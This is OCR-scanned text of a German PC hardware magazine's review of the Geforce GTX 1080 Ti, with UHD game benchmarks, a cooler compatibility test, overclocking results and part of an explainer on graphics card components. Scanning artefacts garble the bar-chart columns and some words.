Nvidia Geforce GTX 1080/8G 538? 40,4 (-20 96) 
Nvidia Geforce GTX 1070/8G. [x39 31,3 (-38 96) 
AMD Radeon R9 Fury X/4G. 39r 30,7 (-39 96) 
Nvidia Geforce GTX 980 Ti/6G [981] 29,3 (-42 %) 
AMD Radeon RX 480/8G [am 21,9 (-57 96) 
AMD Radeon R9 390X/8G ШЕ] 21,1 (-58 96) 
Nvidia Geforce GTX 780 Ti/3G BEJ] 20,4 (-60 96) 
Nvidia Geforce GTX 970/3,5--0,5G. 181] 19,3 (-62 96) 
AMD Radeon R9 390/8G БШШ 18,4 (-64 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 
Nvidia Geforce GTX 1080 Ti/11G [usi 49,3 (Basis) 
Nvidia Titan X (Pascal)/12G | 48,4 (-2 96) 
Nvidia Geforce GTX 1080/8G. |l 39,1 (-21 90) 
AMD Radeon R9 Fury X/4G Eam 30,8 (-38 %) 
Nvidia Geforce GTX 1070/8G. 9m 30,3 (-39 %) 
Nvidia Geforce GTX 980 Ti/6G 268 28,7 (-42 %) 
AMD Radeon R9 390X/8G. 33i 25,7 (-48 %) 
AMD Radeon R9 390/8G. 301 23,4 (-53 96) 
AMD Radeon RX 480/8G [3291 22,3 (-55 96) 
Nvidia Geforce GTX 780 Ti/3G. wm 19,3 (-61 96) 
Nvidia Geforce GTX 970/3,5+0,5G [4811 16,5 (-67 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 


Nvidia Geforce GTX 1080 Ti/11G |n 45,5 (Basis) 
Nvidia Titan X (Pascal)/12G Eum 44,8 (-2 %) 
Nvidia Geforce GTX 1080/8G. MEMME 36,1 (-21 96) 
Nvidia Geforce GTX 1070/86 3281 28,2 (-38 %) 
Nvidia Geforce GTX 980 Ti/6G 2218 25,1 (-45 96) 
AMD Radeon R9 Fury X/4G Eg 23,4 (-49 %) 
AMD Radeon R9 390X/8G [39i 22,6 (-50 96) 
AMD Radeon R9 390/8G. ii 20,9 (-54 96) 
AMD Radeon RX 480/86 811 20,3 (-55 96) 
Nvidia Geforce GTX 970/3,5--0,5G. Ж ШШШ 15,8 (-65 96) 
Nvidia Geforce GTX 780 Ti/3G 811 14,5 (-68 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G E36 ШЕШ 44,3 (Basis) 
Nvidia Titan X (Pascal)/12G X38 E 44,2 (-0 96) 
Nvidia Geforce GTX 1080/8G. gres 36,0 (-19 960) 
Nvidia Geforce GTX 1070/86 93m 27,7 (-37 %) 
Nvidia Geforce GTX 980 Ti/6G ЖШШЕ 19,6 (-56 96) 
AMD Radeon RX 480/8G. [SERIE 18,7 (-58 96) 
AMD Radeon R9 390X/8G. Ж ШШ 18,5 (-58 96) 
AMD Radeon R9 390/8G MEMAN 17,7 (-60 96) 
AMD Radeon R9 Fury X/4G #88 11,2 (-75 96) 
Nvidia Geforce GTX 970/3,5+0,56 В 918 11,1 (-75 96) 
Nvidia Geforce GTX 780 Ti/3G #818 10,6 (-76 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Geforce GTX 1080 Ti/11G. ME Ex 41,5 (Basis) 
Nvidia Titan X (Pascal)/12G. ЗД Ex 41,2 (-1 90) 
Nvidia Geforce GTX 1080/86 28 В 31,4 (-24 96) 
Nvidia Geforce GTX 1070/8G. E9211 24,3 (-41 96) 
Nvidia Geforce GTX 980 Ti/6G aq 24,0 (-42 96) 
AMD Radeon R9 Fury X/4G 9k 22,0 (-47 96) 
AMD Radeon R9 390X/8G Ш 98 19,2 (-54 96) 
AMD Radeon RX 480/8G. EHI 17,7 (-57 96) 
AMD Radeon R9 390/8G Ш 58 17,4 (-58 96) 
Nvidia Geforce GTX 970/3,5+0,5G WWW 13,2 (-68 96) 
Nvidia Geforce GTX 780 Ti/3G HIN 12,1 (-71 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - , Scavenger" 
Nvidia Geforce GTX 1080 Ti/11G. Eg 37,9 (Basis) 
Nvidia Titan X (Pascal)/12G Ege 37,4 (-1 96) 
Nvidia Geforce GTX 1080/8G MES s 30,3 (-20 96) 
Nvidia Geforce GTX 1070/86 "e 27,1 (-28 96) 
AMD Radeon R9 Fury X/4G ШС 26,3 (-31 96) 
Nvidia Geforce GTX 980 Ti/6G ot 22,0 (-42 96) 
AMD Radeon R9 390X/8G БШШШ 22,0 (-42 96) 
AMD Radeon R9 390/8G ЗШЕ 21,0 (-45 96) 
AMD Radeon RX 480/8G ЖЇЗЇ ШЕШ 20,8 (-45 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш 16,2 (-57 96) 
Nvidia Geforce GTX 780 Ti/3G. HESS 14,6 (-61 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - , Bishopsgate" 


Nvidia Geforce GTX 1080 Ti/11G ШЗ 36,8 (Basis) 
Nvidia Titan X (Pascal)/12G. X33 35,6 (-3 96) 
Nvidia Geforce GTX 1080/8G. agn 29,3 (-20 96) 
Nvidia Geforce GTX 1070/8G nmt 23,5 (-36 96) 
Nvidia Geforce GTX 980 Ti/6G 191! 20,7 (-44 96) 
AMD Radeon R9 390X/8G MESI] 15,0 (-59 96) 
AMD Radeon RX 480/8G MESI] 14,9 (-60 96) 
AMD Radeon R9 390/86 [91211 13,6 (-63 96) 
AMD Radeon R9 Fury X/4G ft! 12,6 (-66 96) 
Nvidia Geforce GTX 970/3,5+0,5G ВЮ 10,9 (-70 96) 
Nvidia Geforce GTX 780 Ti/3G 161 6,9 (-81 96) 


GTA 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - ,Grapeseed" 
Nvidia Geforce GTX 1080 Ti/11G. 39H 31,9 (Basis) 
Nvidia Titan X (Pascal)/12G. ISI IƏIIUIILII€FISI 31,6 (-1 96) 
Nvidia Geforce GTX 1080/86 331] 25,2 (-21 96) 
Nvidia Geforce GTX 1070/8G. METSI] 20,3 (-36 96) 
Nvidia Geforce GTX 980 Ti/6G БШШ 18,7 (-41 96) 
AMD Radeon R9 390X/8G MESI] 15,2 (-52 96) 
AMD Radeon R9 Fury X/4G 988 14,2 (-55 96) 
AMD Radeon R9 390/8G. Ш 13,9 (-56 96) 
AMD Radeon RX 480/8G ВЕ] 12,5 (-61 96) 
Nvidia Geforce GTX 970/3,5+0,5G | 6,9 (-78 96) 
Nvidia Geforce GTX 780 Ti/3G BIH 6,7 (-79 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 378.78 WHQL, Radeon Software 17.3.1 WHQL, HQ-AF 
Bemerkungen: Wer hier und da auf Grafikdetails verzichtet, kann mit einer Geforce GTX 1080 Ti in UHD-Auflósung durchaus 60-Fps-Gaming erleben. » Besser 
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Kühlerwechsel, Overclocking und Spezialtests 


GTX 1080 Ti FE: Kühlerkompatibilitàt 


Hersteller Kühler GPU-Kühler passt? | VRM- & RAM-Kühlung kompatibel? 
Inno 3D Herculez X3 Ultra |Ja, kein Problem | 

Arctic Hybrid 11-140 а, kein Problem | Ja – der Lieferumfang für GTX 980 Ti 
Arctic Hybrid II-120 Ja, kein Problem ` | Ja, erfolgt via Backside-Cooling 

Arctic Accelero Xtreme IV | Ja, kein Problem | Ja, erfolgt via Backside-Cooling 

Arctic Accelero Xtreme ||! Ja, kein Problem ` 

EKL-Alpenföhn | Peter 2 Ja, kein Problem 

EKL-Alpenföhn | Peter Ja, kein Problem 

EVGA Hybrid Ја, kein Problem | Ja — erfordert Teile des Referenzkühlers 
EVGA ACX 2.0 Ја, kein Problem 

Raijintek Morpheus 2 Ja, kein Problem 

Raijintek Morpheus Ja, kein Problem 


E Funktioniert tadellos 


Getestet mit Nvidia Geforce GTX 1080 Ti Founder's Edition (Referenzkarte) 


E Funktioniei 


mit kleinen Einschränkungen В Inkompatibel 


e @” 


Wer den Kühler einer GTX 1080 Ti Founder's Edition demontieren möchte, benötigt 
einen Stecknuss-Schraubendreher (Innensechskant) oder alternativ eine feine Zange. 


Accelero Hybrid 11-140 auf GTX 1080 Ti: Hohe Kühlleistung bei niedriger Lautstärke, 
allerdings muss der Radiator ordnungsgemäß im Gehäuse installiert werden. 
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alls Sie bereits eine Geforce 

GTX 1080 Ti in der Founder’s 
Edition besitzen, stellt sich die 
Frage nach dem besten Custom- 
Design nicht mehr. Allerdings sind 
Besitzer der Gründer-Edition in der 
komfortablen Lage, sich die Karte 
nach Gusto herzurichten. 
Ein Direct-Exhaust-Design, wie 
die Referenzkarte eines ist, bietet 
handfeste Vorteile hinsichtlich der 
Gehäusetemperatur, denn es stra- 
paziert die übrigen Komponenten 
- allen voran den Prozessor - nicht 
mit übermäßiger Abwärme. Die 
dunkle Seite der Medaille ist die 
relativ hohe Lautheit und trotzdem 
die dauerhafte Operation am Tem- 
peraturlimit. Ursächlich dafür ist 
der notwendige Luftdruck inner- 
halb des Lamellentunnels, der bei 
einem Radialdesign nur mithilfe 
hoher Lüfterdrehzahlen erreicht 
wird. Das gilt umso mehr, wenn Sie 
die Geforce GTX 1080 Ti übertak- 
ten und dabei über das standard- 
mäßige Powerlimit von 250 Watt 
gehen möchten. 


OC mit Standardkühler 

Wie erwähnt, erreicht die GTX 
1080 Ti Founder’s Edition unter 
anhaltender Spielelast bis zu 2.730 
Lüfterumdrehungen pro Minute, 
um ihr Temperaturziel nicht zu 
überschreiten. Aufgrund der Hyste- 
rese des Lüfters werden kurzzeitig 
bis zu 86 Grad Celsius erreicht - 
obwohl die Karte ihren Boost und 
die korrelierenden Spannungen 
teils drastisch herunterfährt. Mit 
anderen Worten: Fiele die Kern- 
temperatur nicht derart hoch aus, 
nähmen die Leckströme ab und 
die Karte könnte im Rahmen des 
gegebenen Powerbudgets höhere 
Frequenzen halten. 


Die gute Nachricht: Der Referenz- 
kühler ist in der Lage, selbst 300 
Watt (120 Prozent Powerlimit) 
hinfortzuschaffen. Die schlechte 
Nachricht: Das gelingt nur mit gro- 
ßem Getöse, sprich maximaler Lüf- 
terleistung. Wir haben’s in Anno 
2070 ausprobiert, dem PCGH- 
Watt-Worstcase. Mit 300W Power- 
limit und 80 Prozent PWM-Implus 
(3.840 U/min; 8,3 Sone) werden 
höchstens 77 °C Kerntemperatur 


erreicht und der Boost pendelt sich 
zwischen 1.759 und 1.772 MHz ein. 
Im Standardbetrieb mit 250 Watt 
und automatisch gesetzter Belüf- 
tung (50 Prozent PWM) klebt die 
Karte an der 85-°C-Marke fest und 
senkt ihren Boost auf 1.600 bis 
1.650 MHz. Letzteres passiert auch, 
wenn nur das Powerlimit und nicht 
zusätzlich die Belüftung heraufge- 
setzt wird. Mit 100 Prozent Dreh- 
kraft steigt der Boost nicht weiter. 
Dasliegt unter anderem daran, dass 
der Lüfter einen (kleinen) Teil des 
Energie-Kuchens verschlingt. 


Leidensfähige Spieler oder Besitzer 
eines gut dämmenden Kopfhörers 
oder Headsets können die Geforce 
GTX 1080 Ti Founder’s Edition 
mit 100 Prozent Lüfterleistung tat- 
sächlich ausfahren. In den meisten 
Spielen genügt die Kühlung im Zu- 
sammenspiel mit 300 Watt Power- 
limit, um den Kern auf 2.000 MHz 
zu treiben. Je geringer die verwen- 
dete Auflösung ist oder je öfter ein 
Prozessorlimit wirkt, desto wahr- 
scheinlicher ist ein Erfolg dieser 
waghalsigen Mission. 


Kühlerwechsel: Vorspiel 

In den meisten Fällen wird der 
Lautstärke eine vergleichbar wich- 
tige Rolle zuteil wie der Bildrate. 
Wer seine GTX 1080 Ti FE wirklich 
ausreizen möchte und dabei Wert 
auf stabile Frequenzen legt, kommt 
nicht um einen Kühlerwechsel 
herum. Damit Sie nicht alle Nach- 
rüstkühler am Markt zur Anprobe 
nach Hause holen müssen, haben 
wir diese Arbeit erledigt, denn das 
PCGH-Lager hält alle namhaften 
GPU-Kaltmacher der vergangenen 
Jahre bereit. 


Bevor Sie loslegen, sollten Sie das 
richtige Werkzeug griffbereit ha- 
ben. Keine Sorge, Nvidia legt dem 
modernen Bastler nur kleine Stei- 
ne in den Weg. Neben einem fei- 
nen Kreuzschraubendreher, 
die Backplate zu lösen, benötigen 
Sie außerdem einen Stecknuss- 
Schraubendreher, um den Kühler 
von der Platine zu trennen. Bereits 
die Titan XP setzte auf diese Art 
der Schraubenkombination. Falls 
Sie keinen Innensechskant-Dreher 
haben, tut's auch eine feine Zange 
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Thermaltake-Komponenten sind erháltlich bei: 
www.alternate.de • www.amazon.de * www.caseking.de * www.conrad.de * www.cyberport.de 
www.kmcomputer.de * www.notebooksbilliger.de * www.snogard.de * www.technikdirekt.de 
... und in vielen weiteren Shops 


GRAFIKKARTEN | Geforce GTX 1080 Ti: Test & Tuning 


Raijintek Morpheus 2 auf GTX 1080 Ti: Einer der stárksten Luftkühler, seine Leistung und 
seine Lautheit stehen und fallen jedoch mit den installierten Lüftern. Hinzu kommt, ... 


... dass der mitgelieferte VRM-Kühler aufgeklebt werden muss — ebenso wie die RAM- 
Kühlerchen. Das erschwert einen Rückbau. Der Peter (2) hat das gleiche Problem. 


Es kribbelt schon wieder. Gibt's 
da was von Ratiopharm? 


Nvidia ist immer wieder für Überraschungen gut. Dies- 
mal ist's eine positive, denn die Geforce GTX 1080 Ti 

ist günstiger — oder sagen wir preiswerter —, als es von 
vielen erwartet wurde. Nach der fragwürdig bepreisten 
itan X Pascal ging ich von 899 Euro für die Ti-Version 


aus, allerdings mit 10 GiByte Speicher. Ein vierstelliges 
Preisschild funktioniert einfach nicht bei 99,99 Prozent 
der Kunden. Wáhrend ich diese Zeilen schreibe, ist die а > 


Founder's Edition auf unter 800 Euro gefallen, was Raffael Vötter 

bei mir ein Kribbeln auslöst. Die alte Titan X Maxwell 

hat sich ihre Rente verdient, aber ich habe nach zwei Titanen in Folge mal wieder 
Lust auf eine flinke Radeon. AMD macht es uns mit seiner „Gut Ding will Weile 
haben"-Attitüde bei der Radeon RX Vega nicht einfach. Ich umgehe das Problem 
einfach durch den Kauf eines Ryzen R7 1700. Das Sparschwein wird dann bis zum 


Vega-Release wieder befüllt und dann entschieden. 
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- passen Sie jedoch auf, dass Sie die 
Platine nicht zerkratzen. 


Kühlerkompatibilitätstest 
Elf Nachrüstkühler durften Be- 
kanntschaft mit unserer GTX 1080 
Ti Founder’s Edition machen - und 
sie alle passen tadellos. Das ist nicht 
verwunderlich, da die GP102-Plati- 
nen der GTX 1080 Ti und Titan XP 
auf etablierte Lochabstände setzen. 
Kühler, die bereits auf vorherigen 
Geforce-Grafikkarten ihren Dienst 
verrichtet haben, lassen sich da- 
her problemlos auf den GP102 
schnallen; in der Regel sind dafür 
die äußersten Lochabstände der 
Kühlerhalterung notwendig. Eine 
Ausnahme von dieser Regel bildet 
der Raijintek Morpheus 2 (siehe 
links), dessen besonders breite 
Halteklammern auch mit AMDs Fiji- 
Chip zurechtkommen, sodass hier 
die vorletzte Schraubenposition 
die richtige ist. Was die Leistung 
betrifft, Kann jeder Kühler, der für 
TDPs bis 250 Watt (oder darüber 
hinaus) spezifiziert wurde, mit der 
Geforce GTX 1080 Ti Founder’s 
Edition umgehen. Viele Modelle 
brüsten sich mit einem größeren 
Spielraum, sodass hier keine Pro- 
bleme programmiert sind. 


Die Kompatibilität mit der GPU ist 
jedoch nur die halbe Miete. Der 
GDDR5X-Grafikspeicher und vor 
allem die Spannungswandler wol- 
len ebenfalls gekühlt werden, da 
ansonsten ein schnelles Ableben 
droht. Problematisch ist, dass kei- 
ner der erhältlichen Kühler auf das 
Platinenlayout der GTX 1080 Ti FE 
vorbereitet ist. Was die Speicher- 
chips angeht, setzen die meisten 
Kühler auf Klebeverbindungen. Je- 
der der vorliegenden Kühler (siehe 
Tabelle) bringt genügend Alumi- 
nium-Profile mit, um diese auf die 
elf Speicherchips der Nvidia-Karte 
zu kleben. Für die besonders hitz- 
köpfigen Spannungsregler (VRMs) 
bringen unter anderem der Raijin- 
tek Morpheus (2) und EKL Peter 
2 extragroße Kühler mit, welche 
sich bei geeigneten Platinen mit- 
tels Spreizdübeln arretieren lassen. 
Die GTX 1080 Ti FE bietet jedoch 
keine entsprechenden Bohrungen, 
sodass auch diese Kühlblöcke ver- 
klebt werden müssen. Doch damit 
nicht genug: Da das PCB besonders 
viele Wandlerkomponenten trägt, 
sollte der Kühler nach dem ,Tet- 
ris- Prinzip‘ um zusätzliche Kühl- 


module aus dem Lieferumfang der 
Kühler ergänzt werden. Das funk- 
tioniert ordentlich, allerdings wird 
ein Rückbau durch die Klebever- 
bindung erschwert, sobald Sie auf 
Wärmeleitkleber setzen. 


Nun schlägt die Stunde der Back- 
side-Cooler von Arctic. Man kann 
das Design, das keine direkte Küh- 
lung der Wandler und Speicher- 
chips vorsieht, argwöhnisch beäu- 
gen. Im Falle neuer Grafikkarten 
ist die Idee, die Hitze mithilfe einer 
Rückseitenkühlung aus der Platine 
zu ziehen, jedoch omnikompatibel. 
So passt der Accelero Xtreme IV ta- 
dellos und auch der Hybrid III-140 
lässt sich mit dem 980-Ti-Set pro- 
blemlos montieren. 


Was Wasserkühler angeht, haben 
Pioniere im Internet Vorarbeit ge- 
leistet: Fullcover-Blöcke, die für 
den Betrieb mit der Titan XP kon- 
zipiert wurden, lassen sich laut de- 
ren Aussage auch auf der GTX 1080 
Ti FE installieren. Das Gegenteil 
ist der Fall, wenn ein älterer Block 
verwendet werden soll, der einst 
für die GTX 980 Ti und Titan X 
Maxwell gefräst wurde. Wir haben 
uns anhand eines EK-FC Titan X aus 
dem Hause EK Water Blocks von 
der Inkompatibilität überzeugt: Die 
breite Spulenbestückung der GTX 
1080 Ti verhindert eine Montage. 


OC mit Nachrüstkühler 

Das Video auf dem Datenträger 
der DVD-Heftversion zeigt, was 
der Wechsel auf einen mächtigen 
Kühler bringt: maximales Over- 
clocking-Potenzial bei moderater 
Lautstärke. 2,0 oder gar 2,1 GHz 
sind jedoch nicht selbstverständ- 
lich, denn je nach Spiel und Auf- 
lösung limitiert selbst ein auf 300 
Watt erhöhtes Powerlimit. (ru) 


Fazit Нагйшаге 


Geforce GTX 1080 TI 

Nvidias neuestes Produkt duelliert sich 
mit dem eigenen König und nimmt 
schließlich auf seinem Thron Platz. 
Damit ist die 800-Euro-Grafikkarte 
Geforce GTX 1080 Ti empfehlenswert, 
liefert sie doch die Leistung der 1.359 
Euro teuren Titan X Pascal. Wer noch 
höhere Bildraten oder einfach Ruhe 
haben will, bastelt selbst oder wartet 
auf die Partnerdesigns — großer Ver- 
gleichstest in der PCGH 06/2017! 
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Spezial-Benchmarks in UHD: GTX 1080 Ti @ 2.000/6.000 MHz mit potenten Vergleichskarten 


Resident Evil 7 (DX11), TAA/16:1 AF - „Hell's Kitchen" 


Geforce GTX 1080 Ti/11G Мах-ОС gg es 80,0 («21 %) 


Geforce GTX 1080 Ti/11G. RE | 66,0 (Basis) 
Titan X (Pascal)/12G ЖЕБЕ ЕН 64,8 (-2 90) 
Geforce GTX 1080/8G Max-OC Eggs 58,2 (-12 %) 
Geforce GTX 1080/8G | cu 49,1 (-26 %) 
Geforce GTX 980 Ti OC/6G 3g 47,5 (-28 96) 
Radeon R9 Fury X/4G | s 38,0 (-42 %) 


Hitman (DX12), TAA/16:1 AF - „Sapienza Sundown” 


Geforce GTX 1080 Ti/11G Max-OC Eg 72,5 (+23 96) 
Geforce GTX 1080 Ti/11G Log 58,9 (Basis) 
Titan X (Pascal)/12G Esq 58,1 (-1 90) 
Geforce GTX 1080/8G Max-OC =s 52,9 (-10 96) 
Geforce GTX 1080/8G Eust 45,6 (-23 96) 
Geforce GTX 980 Ti OC/oG. Eit 43,1 (-27 96) 
Radeon R9 Fury X/4G Emu 40,4 (-31 %) 


Sniper Elite 4 (DX12), Ingame-AA/16:1 AF - , Sniper Woods" 


Geforce GTX 1080 Ti/11G Мах-ОС EX sS E 69,8 (+21 96) 
Geforce GTX 1080 Ti/11G pgs 57,7 (Basis) 
Titan X (Pascal)/12G Es pu 56,2 (-3 %) 
Geforce GTX 1080/8G Max-OC E 51,0 (-12 %) 
Geforce GTX 1080/8G. Egg 44,2 (23 %) 
Geforce GTX 980 Ti OC/6G egg 40,7 (-29 96) 
Radeon R9 Fury X/4G |a 38,1 (34 %) 


For Honor (DX11), TAA/16:1 AF - ,,Road to Valkenheim" 


Geforce GTX 1080 Ti/11G Мах-ОС = A 66,8 (+15 96) 
Geforce GTX 1080 Ti/11G EX 58,1 (Basis) 
Titan X (Pascal)/12G Eq 57,3 (-1 96) 
Geforce GTX 1080/8G Max-OC == 51,9 (-11 96) 
Geforce GTX 1080/8G Ea 45,1 (-22 96) 
Geforce GTX 980 Ti OC/6G gna 41,3 (-29 %) 
Radeon R9 Fury X/4G Em 33,1 (-43 96) 


The Division (DX12), TAA/16:1 AF - „Madison Hospital" 


Geforce GTX 1080 Ti/11G Мах-ОС Egan ШЕШ 58,9 (+23 90) 
Geforce GTX 1080 Ti/11G. E 47,8 (Basis) 
Titan X (Pascal)/12G Eas 47,2 (-1 96) 
Geforce GTX 1080/8G Max-OC Ese 39,0 (-18 90) 
Geforce GTX 1080/8G [xag 33,9 (-29 96) 
Geforce GTX 980 Ti OC/6G |t 33,7 (-29 %) 
Radeon R9 Fury X/4G Es ЕШ 32,2 (-33 96) 


Unser Grafikkarten-Leistungsindex, den wir in der PCGH 11/2016 vorgestellt und etabliert 
haben, erledigt seine Aufgabe tadellos. Im Laufe der Zeit erscheinen jedoch viele neue Spiele 
von Interesse, von denen wir die wichtigsten zum Launch auf www.pcgh.de testen — selbst- 
verstándlich mit dem Fokus auf der Technik. Einige Spiele erweisen sich als gute Benchmarks, 
andere nicht. An dieser Stelle möchten wir den Artikel mit zehn bewährten Tests abseits 

des PCGH-Index abschlieBen. Da unser Proband, die Geforce GTX 1080 Ti, ein sündteurer 
High-End-Bolide ist, testen wir alle Titel in Ultra-HD-Auflösung und mit maximalen Details. 
Einige Titel entwickeln in den getesteten Einstellungen einen sehr groBen Leistungshunger. 
Um das Geschehen zu würzen, mischen nicht nur Standardkarten mit, sondern auch eine MSI 
GTX 980 Ti Lightning als eine der schnellsten Maxwell-Karten sowie eine Gigabyte GTX 1080 
Aorus Xtreme Gaming mit manueller Übertaktung bis zum Limit. Auch die GTX 1080 Ti darf 
übertaktet zeigen, was sie kann, unterstützt von einem Accelero Hybrid 111-140. 


Battlefield 1 (DX11), Ultra-Preset, TAA/16:1 AF - , Gallipoli" 


Geforce GTX 1080 Ti/11G Мах-ОС EX 56,1 (+21 96) 
Geforce GTX 1080 Т1/11С Es 46,4 (Basis) 
Titan X (Pascal)/12G Eat 46,1 (-1 96) 
Geforce GTX 1080/8G Max-OC EXE 41,7 (-10 96) 
Geforce GTX 1080/8G. XXn 36,5 (-21 %) 
Geforce GTX 980 Ti OC/6G Emo 33,6 (-28 %) 
Radeon R9 Fury X/AG E331] 25,8 (-44 96) 


Mass Effect: Andromeda (DX11), TAA/16:1 AF - „Forlorn Dreams" 


Geforce GTX 1080 Ti/11G Max-OC BI 43,6 (+20 %) 
Geforce GTX 1080 Ti/11G. Egit 36,4 (Basis) 
Titan X (Pascal)/12G ME p 35,7 (-2 %) 
Geforce GTX 1080/8G Max-OC X30. 32,9 (-10 96) 
Geforce GTX 1080/8G E381 28,3 (-22 %) 
Geforce GTX 980 Ti OC/6G Xa 26,0 (-29 96) 
Radeon R9 Fury X/AG Emi 18,5 (-49 %) 


Watch Dogs 2, max. Details, SMAA T2x/16:1 AF - , Frisco" 


Geforce GTX 1080 Ti/11G Max-OC Ee 40,9 (+19 %) 
Geforce GTX 1080 Ti/11G. ott 34,4 (Basis) 
Titan X (Pascal)/12G Exo 33,0 (-1 90) 
Geforce GTX 1080/8G Max-OC 3g 31,7 (8 %) 
Geforce GTX 1080/8G Ew 27,2 (-21 96) 
Geforce GTX 980 Ti OC/6G [oat 25,2 (-27 96) 
Radeon R9 Fury X/4G EIN 14,4 (-58 96) 


Mafia 3 (DX11), max. Details, TAA/16:1 AF - „The Swamp" 


Geforce GTX 1080 Ti/11G Max-OC gt? 39,0 (+19 96) 
Geforce GTX 1080 Ti/11G EX 32,9 (Basis) 
Titan X (Pascal)/12G E30 32,2 (-2 %) 
Geforce GTX 1080/8G Max-OC gri 31,5 (-4 96) 
Geforce GTX 1080/8G. Egi] 25,4 (-23 %) 
Radeon R9 Fury X/4G Ei 22,0 (-33 96) 
Geforce GTX 980 Ti OC/6G si] 16,3 (-50 96) 


Ghost Recon: Wildlands (DX11), max. Details, TAA/16:1 AF - , Wild Ride" 


Geforce GTX 1080 Ti/11G Max-0C Es 38,5 (+16 96) 
Geforce GTX 1080 Ti/11G Emm 33,3 (Basis) 
Titan X (Pascal)/12G Em? 33,0 (-1 96) 
Geforce GTX 1080/8G Max-OC ëtt 32,4 (-3 %) 
Geforce GTX 1080/8G. 9s 28,1 (-16 96) 
Geforce GTX 980 Ti OC/6G EBEN 25,2 (-24 9b) 
Radeon R9 Fury X/4G Eit E 15,4 (-54 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 378.78, Radeon Software 17.3.1, HQ-AF 


MiMi Ø Fps 


Bemerkungen: GTX 1080 Ti Max-OC: ~2.000/6.000 MHz, GTX 1080 Max-0C: ~2.100/5.500 MHz, GTX 980 Ti OC: MSI Lightning (1.430/3.549 MHz, kein manueller Eingriff), Rest: Referenztaktraten (s. S. 49) » Besser 
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MN INFRASTRUKTUR | Hardware zerlegt: Wissensreihe Teil 2 


Schaubild: Grafikkarte 


Aus welchen Elementen besteht eine moderne Gaming-Grafikkarte? Wir veranschaulichen die 
wichtigsten Bauteile eines aktuellen High-End-Pixelbeschleunigers. 


: Grafikchip © : 


Der Grafikprozessor ist das Herz- 
stück einer jeden Grafikkarte. 
Ohne ihn fände keine einzige 
Berechnung statt, das Bild 
bliebe aus. Moderne Grafikchips 
entstammen den Familien Pascal 
(Nvidia) und Polaris (AMD) 

und werden im sogenannten 
FinFET-Fertigungsprozess herge- 
stellt. Der aktuelle Top-Chip für 
Spieler-Grafikkarten ist Nvidias 
GP102, welcher 12 Milliarden 
winzig kleiner Transistoren auf 
471 Quadratmillimeter quetscht. 
Damit kann er nicht nur rund 
350.000.000 Pixel pro Sekunde 
texturieren, sondern auch mit 
fast 15 Milliarden Dreiecken pro 
Sekunde hantieren. Für moderne 
Spiele und angepasste Applika- 
tionen ist jedoch die Rechenleis- 
tung der arithmetisch-logischen 
Einheiten, kurz ALUs, von 
besonderem Interesse. Hier stem- 
men moderne Grafikkarten dank 
maximal 4.096 Shader-ALUs bis 
zu 11 Tera-FLOPS (Milliarden 
Gleitkommaberechnungen pro 
Sekunde) bei einfacher Genau- 
igkeit. Zum Vergleich: Die 2006 
revolutionäre Geforce 8800 GTX 
leistet nur 0,35 TFLOPS. 


Display-Ausgänge 


Das Printed Circuit Board, zu Deutsch etwa „bestückte Leiterplatte” und : : Die mächtigste GPU ist — zumindest in einem Spiele-PC — nichts 


: Platine (PCB) 2 : 


kurz PCB, ist das Mainboard der Grafikkarte. Auf ihm nehmen alle elek- : : wert, wenn sie das Bild für sich behält. Damit Sie in den Genuss der 
trisch notwendigen Bauteile Platz. Neben der GPU sind das unter anderem : : berechneten Ergebnisse kommen, tragen moderne Grafikkarten mehrere 
der Grafikspeicher (aktuell meist GDDR5), die für die Spannungsver- : { Displayport-Ausgänge sowie mindestens einen, meist mehrere, HDMI- 
sorgung notwendigen Mosfets, Spulen und Kondensatoren, die Strom- 11 2.0-Рогіѕ, um dort Monitore anzuschließen. Der viele Jahre omnipräsente, 
buchsen sowie zahlreiche weitere Bauteile (u. a. Widerstände), welche I : hervorstehende DNL Ausgang verschwindet langsam — die Referenzde- 
unter dem Begriff Surface Mounted Devices zusammengefasst werden. : : signs der GTX 1080 Ti und Fury X verzichten beispielsweise schon darauf. 
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Kühlsystem 


Im Laufe ihrer Existenz stieg die Grafikkarten-Leis- 
tungsaufnahme immer weiter, es schien kein Ende in 
Sicht. Zwischenzeitlich und begleitet von steigenden 
Strompreisen sowie wachsendem Umweltbewusstsein 
fand ein Umdenken statt. Moderne Mittelklasse-Mo- 
delle begnügen sich mit 200 Watt und die High-End- 
Modelle lassen sich auf hóchstens 300 Watt treiben. 
Alles, was an Energie in die Grafikkarte flieBt, wird 
in Wärme umgewandelt. Das heißt, jedes zusätzliche 
Watt ist mit Hitze gleichzusetzen, die es möglichst 
rasch abzuführen gilt. Moderne Kühler begegnen der 
Abwärme einer High-End-Grafikkarte mit reichlich 
Kühlmetall und ausgeklügelten , Sandwich" -Designs. 


Wir haben mit der Gigabyte Aorus GTX 1080 Xtreme 
Edition bewusst ein Beispiel gewählt, das alle Regis- 
ter einer starken Luftkühlung zieht. Hierbei handelt 
es sich um eine 2,5-Slot-Konstruktion, welche den 
üblichen 3,5 Zentimeter breiten Dual-Slot-Rahmen 
(zwei Einbauplätze) sprengt, um die Kühlfläche zu 
erweitern. Doch der Reihe nach. Um die Wärme- 
ableitung des Grafikchips und Speichers kümmert 
sich eine mehrere Millimeter dicke Kupferplatte 
(„Base Plate”), welche wiederum Kontakt zu den 
Heatpipes des eigentlichen Kühlers aufnimmt. Bei 
Heatpipes handelt es sich um Kupferrohre, 
die mit einer Flüssigkeit gefüllt 
sind, welche nach 
Erwärmung 


verdampft, dadurch die Wärme transportiert, an 
anderer Stelle wieder erkaltet und das Spiel von vorne 
beginnen lässt. Moderne Heatpipes verfügen über 
